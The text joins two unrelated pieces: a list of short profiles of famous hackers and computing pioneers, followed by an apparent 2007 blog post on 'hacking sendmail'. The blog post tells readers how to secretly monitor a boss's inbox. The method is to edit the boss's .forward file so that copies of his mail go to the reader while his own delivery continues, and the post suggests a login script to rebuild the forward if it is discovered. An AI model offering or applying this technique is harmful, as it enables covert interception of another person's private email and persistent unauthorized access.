a.k.a.: John Draper

Claim to fame:
Figured out how to make free phone calls using a plastic prize whistle he found in a cereal box. Cap'n Crunch introduced generations of hackers to the glorious concept of phone "phreaking."

First encountered a computer:
As a teenager, trying to convince pay phones to return his coin and put through his calls.

Unusual tools:
The toy whistle from boxes of Cap'n Crunch cereal. The whistle reproduced the 2600 hertz tone necessary to authorize a call. Used in conjunction with a bluebox, it allowed users to make free phone calls. (Oscar Meyer weiner whistles also briefly gained a following among phone phreakers.)

Little-known fact:
Honorably discharged from the U.S. Air Force in 1968 after a stint in Vietnam.

Check out:
http://www.webcrunchers.com/crunch

Kevin Mitnick

Handle: Condor
a.k.a.: Kevin Mitnick

Claim to fame:
The first hacker to have his face immortalized on an FBI "Most Wanted" poster. His status as a repeat offender -- a teenage hacker who couldn't grow up -- earned Mitnick the nickname The Lost Boy of Cyberspace.

First encountered a computer:
As a teenager. Mitnick couldn't afford a computer, so he hung out in a Radio Shack store. He used the store's demo models and modem to dial other computers.

Unusual tools:
During the three years he was on the lam, Mitnick used Internet Relay Chat (IRC) as a message drop and to communicate with his friends.

Little-known fact:
Sentenced to a year in a residential treatment center, Mitnick enrolled in a 12-step program to rid himself of what a judge agreed was his "computer addiction." Hey, it's California.

Check out:
For an update on Mitnick's travails in jail: http://www.2600.com/kevin

Kevin Poulsen

Handle: Dark Dante
a.k.a.: Kevin Poulsen

Claim to fame:
In 1990 Poulsen took over all telephone lines going into Los Angeles area radio station KIIS-FM, assuring that he would be the 102nd caller. Poulsen won a Porsche 944 S2 for his efforts.

First encountered a computer:
When his parents bought him a TRS-80 (better known as a "Trash-80").

Unusual tools:
A set of locksmith tools he used to break into phone company trailers. He was caught after a friend commemorated the break-ins with snapshots of Poulsen picking locks.

Little-known fact:
Pleaded guilty to breaking into computers to get the names of undercover businesses operated by the FBI.

Check out:
Poulsen's personal take on his legal troubles, at: http://www.catalog.com/kevin/

Linus Torvalds

A true hacker in the classic sense, Linus Torvalds was a computer science student at the University of Helsinki when he wrote the operating system Linux (a contraction of "Linus' Minix") in 1991. The software has proven to be tremendously popular worldwide -- and best of all it's FREE!

Torvalds modestly attributes much of Linux's success to the Net and to Richard Stallman's GNU: Both have facilitated development of his original kernel by fostering collaboration among software programmers and developers.

He's humble, he's brilliant, he gave us all access to Unix -- no wonder Linus Torvalds received more votes than any other nominee.

check out:
http://www.au.com/meta/history/interview.html You say "LIE-nucks," I say "LEE-nukes" ...
To learn how Linus says "Linux," check out: http://wopr.ml.org/~hunt/linus.html

Mark Abene

Handle: phiber optik
a.k.a.: Mark Abene

Claim to Fame:
As a founding member of the Masters of Deception, Phiber Optik inspired thousands of teenagers around the country to "study" the internal workings of our nation's phone system. A federal judge attempted to "send a message" to other hackers by sentencing Phiber to a year in federal prison, but the message got garbled: Hundreds of well-wishers attended a welcome-home party in Abene's honor at an elite Manhattan Club. Soon after, New York magazine dubbed him one of the city's 100 smartest people.

First encountered a computer:
Hanging out in the electronics department of the A&S department store in Queens, N.Y., where his mother worked. There he was introduced to the Apple II, the Timex Sinclair and the Commodore 64. The first computer he owned was a Radio Shack TRS-80 (Trash-80).

Unusual tools:
Experimented by dialing patterns on a phone receiver. Abene used the receiver so frequently that it had to be bandaged with black electrical tape to keep its guts from falling out.

Little-known fact:
Phiber Optik's favorite food: mashed potatoes from Kentucky Fried Chicken. Not real mashed potatoes. Real ones have lumps in them.

Check out:
http://www.levity.com/julian/phiber.html

Richard Stallman

Handle: None (nothing to hide !)
a.k.a.: Richard Stallman

Claim to fame:
A hacker of the old school, Stallman walked in off the street and got a job at MIT's Artificial Intelligence Lab in 1971. He was an undergraduate at Harvard at the time. Disturbed that software was viewed as private property, Stallman later founded the Free Software Foundation.

First encountered a computer:
In 1969, at the IBM New York Scientific Center. He was 16 years old.

Unusual tools:
In the 1980s Stallman left MIT's payroll but continued to work from an office at MIT. Here he created a new operating system called GNU -- short for GNU's Not Unix.

Little-known fact:
Recipient of a $240,000 MacArthur Foundation genius grant.

Check out:
http://www.undergrad.math.uwaterloo.ca/

Robert Morris

Handle: rtm
a.k.a.: Robert Morris

Claim to fame:
The son of the chief scientist at the National Computer Security Center -- part of the National Security Agency (NSA) -- this Cornell University graduate student introduced the word "hacker" into the vernacular when he accidentally unleashed an Internet worm in 1988. Thousands of computers were infected and subsequently crashed.

First encountered a computer:
At home. Morris' father once brought home one of the original Enigma cryptographic machines from the NSA. It became a household conversation piece.

Unusual tools:
As a teenager Morris had an account on the Bell Labs' computer network, where early hacking forays gave him super-user status.

Little-known fact:
When the Secret Service raided the home of Legion of Doom member Erik Bloodaxe in 1990, they found a copy of the source code for Morris' Internet worm.

Steve Wozniak

Why Woz? Because he exemplifies the young hacker's dream. Just outta college, the two Steves (Wozniak and Jobs) set to work designing computer games (for Atari) and building blue boxes (for themselves). Woz builds the Apple I. It has no keyboard, no case, no sound or graphics, but it is a thing of beauty nonetheless. The boys shake hands on April Fools' Day 1976, and Apple Computer is born. The pride of the Homebrew Computer Club, Wozniak trades in his HP programmable calculator and Jobs sells his VW van to finance production from a Palo Alto garage.

Now Wozniak's headed back to Apple, where it all began two decades ago. Will his magic work a second time?

check out:
http://www.woz.org:80/pages/staff/steve/steve.html

Clifford Stoll

We'll admit this Berkeley astronomer doesn't qualify as one of the usual suspects: He thinks the Net amounts to one vast cultural wasteland. But Cliff Stoll had the brains and persistence to track KGB cracker Markus Hess through the Ethernet to Hanover, Germany -- then package the feat as a bestselling, real-life thriller. For many The Cuckoo's Egg was their first introduction to the hacking underworld. It's still a great read.

So what if its author thinks the Net is a big dose of Silicon snake oil.

check out:
http://www.discovery.com/DCO

Douglas Engelbart

Don't know why we missed him the first time out: Among other inventions, Dr. Engelbart is responsible for hypertext, windows, cross-file editing and the mouse. There would be no Net hacking without him. Engelbart first thought of hypermedia while serving as a radar technician during World War II. Seeing information displayed on a radar screen, he imagined sitting in front of a similar display, "flying around" in an information space. The engineer pursued his wild ideas in his own lab at the Stanford Research Institute, and first demonstrated his hypermedia "oNLine System" (or NLS) and computer mouse to a stunned audience in 1968.

Holder of more than 20 patents, Engelbart is founder and director of the Bootstrap Institute, specializing in strategies, technologies and processes for building high-performance organizations, teams and individuals.

He also likes to make up science-fiction stories for children.

check out:
http://beluga.dc.isx.com/bootstrap/final/index.htm

Hacking Sendmail...

2007-03-12T16:48:00.000+05:30

There are scenarios when big people (busy big people!) give you the duty to check there mails and inform them about important mails periodically. Do you feel good about it? Do you sit before the computer screen looking at the stupid inbox, which has "important" messages just once in a blue-moon?? Its time you made the most out of your work!

I don't want to be a product of my environment. I want my environment to be a product of me. - Frank Costello

Before proceeding, i would like all the readers to execute the following assert statement, and if the assertion fails then probably the vicious contents of this post is not meant for you!

assert("Do you know Frank Costello?" == YES);

Now, coming to sendmail, I would tell you about a technique to monitor your boss's inbox, without him being aware of it! Probably you may get more archaic ideas, once you know this! There is a file named ".forward" in the user's home directory. For those who use the sendmail to receive mails, this is the file you should attack. Many clients, like Pine, also use sendmail as the backend engine for mails. Now, what you have to do is, simply add your email id in this file but before that, also write the full email id of your boss preceded by a "\". As an example:

\boss@stupido.com
me@vicious.com

And you are ready! Each time a mail comes, it gets forwarded to your id, and this legacy continues, even after your boss fires you, provided the contents of the .forward file remains!! Maybe you can write another script which adds those contents each time your boss logs in!! This would rebuild your .forward even if someone discovers the leak and repairs it!! More anarchy is left to the readers to explore!!